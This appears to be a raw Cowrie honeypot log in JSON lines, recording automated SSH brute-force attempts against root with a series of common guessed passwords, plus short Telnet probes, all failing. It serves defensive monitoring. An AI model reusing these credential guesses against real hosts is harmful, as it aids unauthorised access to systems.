{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:57.295486Z","src_ip":"60.165.124.241","session":"bc4565e8888e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":58190,"dst_ip":"10.17.0.5","dst_port":23,"session":"b432ad69e98f","protocol":"telnet","message":"New connection: 198.58.117.211:58190 (10.17.0.5:23) [session: b432ad69e98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:57.310548Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47246,"dst_ip":"10.17.0.5","dst_port":22,"session":"30893421f721","protocol":"ssh","message":"New connection: 60.165.124.241:47246 (10.17.0.5:22) [session: 30893421f721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:57.530714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:57.535708Z","src_ip":"60.165.124.241","session":"30893421f721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:57.773679Z","src_ip":"60.165.124.241","session":"30893421f721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4.","message":"login attempt [root/q1w2e3r4.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:58.501720Z","src_ip":"60.165.124.241","session":"30893421f721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:59.747318Z","src_ip":"60.165.124.241","session":"30893421f721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49808,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b30fc0b1158","protocol":"ssh","message":"New connection: 60.165.124.241:49808 (10.17.0.5:22) [session: 4b30fc0b1158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:59.994148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:59.999256Z","src_ip":"60.165.124.241","session":"4b30fc0b1158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:00.256914Z","src_ip":"60.165.124.241","session":"4b30fc0b1158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"youyun8888","message":"login attempt [root/youyun8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:00.981010Z","src_ip":"60.165.124.241","session":"4b30fc0b1158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:02.224927Z","src_ip":"60.165.124.241","session":"4b30fc0b1158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.003554821014404,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:02.313978Z","src_ip":"198.58.117.211","session":"b432ad69e98f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":58292,"dst_ip":"10.17.0.5","dst_port":23,"session":"837e82bb51b8","protocol":"telnet","message":"New connection: 198.58.117.211:58292 (10.17.0.5:23) [session: 837e82bb51b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:02.353705Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52906,"dst_ip":"10.17.0.5","dst_port":22,"session":"e14e8770b7c4","protocol":"ssh","message":"New connection: 60.165.124.241:52906 (10.17.0.5:22) [session: e14e8770b7c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:02.485579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:02.493600Z","src_ip":"60.165.124.241","session":"e14e8770b7c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:02.747110Z","src_ip":"60.165.124.241","session":"e14e8770b7c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer@2025","message":"login attempt [root/qwer@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:03.517458Z","src_ip":"60.165.124.241","session":"e14e8770b7c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:04.777551Z","src_ip":"60.165.124.241","session":"e14e8770b7c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55528,"dst_ip":"10.17.0.5","dst_port":22,"session":"43d0cfeac4dd","protocol":"ssh","message":"New connection: 60.165.124.241:55528 (10.17.0.5:22) [session: 43d0cfeac4dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:05.015976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:05.022077Z","src_ip":"60.165.124.241","session":"43d0cfeac4dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:05.262596Z","src_ip":"60.165.124.241","session":"43d0cfeac4dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456...","message":"login attempt [root/qwe123456...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:06.008679Z","src_ip":"60.165.124.241","session":"43d0cfeac4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:07.257667Z","src_ip":"60.165.124.241","session":"43d0cfeac4dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.003879070281982,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:07.357457Z","src_ip":"198.58.117.211","session":"837e82bb51b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38346,"dst_ip":"10.17.0.5","dst_port":23,"session":"3924581ead28","protocol":"telnet","message":"New connection: 198.58.117.211:38346 (10.17.0.5:23) [session: 3924581ead28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:07.398595Z"}
{"eventid":"cowrie.session.closed","duration":0.004756927490234375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:07.403227Z","src_ip":"198.58.117.211","session":"3924581ead28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38356,"dst_ip":"10.17.0.5","dst_port":23,"session":"97646e623acd","protocol":"telnet","message":"New connection: 198.58.117.211:38356 (10.17.0.5:23) [session: 97646e623acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:07.486860Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58444,"dst_ip":"10.17.0.5","dst_port":22,"session":"b779696fd0fb","protocol":"ssh","message":"New connection: 60.165.124.241:58444 (10.17.0.5:22) [session: b779696fd0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:07.494579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:07.498796Z","src_ip":"60.165.124.241","session":"b779696fd0fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:07.744971Z","src_ip":"60.165.124.241","session":"b779696fd0fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa.123456","message":"login attempt [root/Aa.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:08.463896Z","src_ip":"60.165.124.241","session":"b779696fd0fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:09.703448Z","src_ip":"60.165.124.241","session":"b779696fd0fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":32872,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ccc720560aa","protocol":"ssh","message":"New connection: 60.165.124.241:32872 (10.17.0.5:22) [session: 5ccc720560aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:09.940284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:09.944751Z","src_ip":"60.165.124.241","session":"5ccc720560aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:10.183607Z","src_ip":"60.165.124.241","session":"5ccc720560aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789a!","message":"login attempt [root/123456789a!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:10.909071Z","src_ip":"60.165.124.241","session":"5ccc720560aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:12.155950Z","src_ip":"60.165.124.241","session":"5ccc720560aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35740,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0c535561642","protocol":"ssh","message":"New connection: 60.165.124.241:35740 (10.17.0.5:22) [session: c0c535561642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:12.395316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:12.400423Z","src_ip":"60.165.124.241","session":"c0c535561642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.004551649093628,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:12.491302Z","src_ip":"198.58.117.211","session":"97646e623acd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38450,"dst_ip":"10.17.0.5","dst_port":23,"session":"452f7d8460cd","protocol":"telnet","message":"New connection: 198.58.117.211:38450 (10.17.0.5:23) [session: 452f7d8460cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:12.530612Z"}
{"eventid":"cowrie.session.closed","duration":0.004540443420410156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:12.535036Z","src_ip":"198.58.117.211","session":"452f7d8460cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":38452,"dst_ip":"10.17.0.5","dst_port":23,"session":"11d82fcf347b","protocol":"telnet","message":"New connection: 198.58.117.211:38452 (10.17.0.5:23) [session: 11d82fcf347b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:12.617408Z"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:12.650272Z","src_ip":"60.165.124.241","session":"c0c535561642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazWSX!@#456","message":"login attempt [root/qazWSX!@#456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:13.405210Z","src_ip":"60.165.124.241","session":"c0c535561642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:14.658408Z","src_ip":"60.165.124.241","session":"c0c535561642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38926,"dst_ip":"10.17.0.5","dst_port":22,"session":"935bacffdd06","protocol":"ssh","message":"New connection: 60.165.124.241:38926 (10.17.0.5:22) [session: 935bacffdd06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:14.908607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:52:14.913718Z","src_ip":"60.165.124.241","session":"935bacffdd06","protocol":"ssh"}
